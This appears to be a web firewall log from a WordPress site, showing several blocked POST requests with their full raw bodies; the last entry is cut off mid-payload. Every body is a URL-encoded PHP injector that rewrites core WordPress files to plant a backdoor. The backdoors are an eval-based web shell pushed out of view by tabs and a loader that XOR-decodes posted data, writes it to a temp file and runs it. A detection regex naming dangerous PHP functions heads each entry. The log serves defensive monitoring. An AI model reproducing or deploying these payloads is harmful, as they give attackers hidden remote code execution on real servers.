["2026-05-12 13:47:50","172.86.89.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nZBCqd%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp3LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2040\nsec-fetch-user:?1\n\nsv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nZBCqd%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:48:17","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nZBCqd%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn0xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2040\nsec-fetch-user:?1\n\nkI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nZBCqd%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:48:26","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Rs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nZBCqd%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHaZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2040\nsec-fetch-user:?1\n\nRs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nZBCqd%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:48:30","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nZBCqd%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\nsec-fetch-user:?1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\ncontent-length:2063\nhost:dewenlabels.com\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nZBCqd%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:48:39","54.36.177.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520%2524elem%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%2520%253B%2520%2524u%2520%253D%25200%253B%2520while%2528%2524u%2520%253C%2520strlen%2528%2524elem%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524elem%255B%2524u%255D%2529%2520%255E%252041%2529%253B%2524u%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524pgrp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524key%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524key%252C%2520%2524tkn%2529%2529%2520%257B%2520include%2520%2524key%253B%2520%2540unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLHjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3687\nsec-fetch-user:?1\n\naL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520%2524elem%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%2520%253B%2520%2524u%2520%253D%25200%253B%2520while%2528%2524u%2520%253C%2520strlen%2528%2524elem%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524elem%255B%2524u%255D%2529%2520%255E%252041%2529%253B%2524u%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524pgrp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524key%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524key%252C%2520%2524tkn%2529%2529%2520%257B%2520include%2520%2524key%253B%2520%2540unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft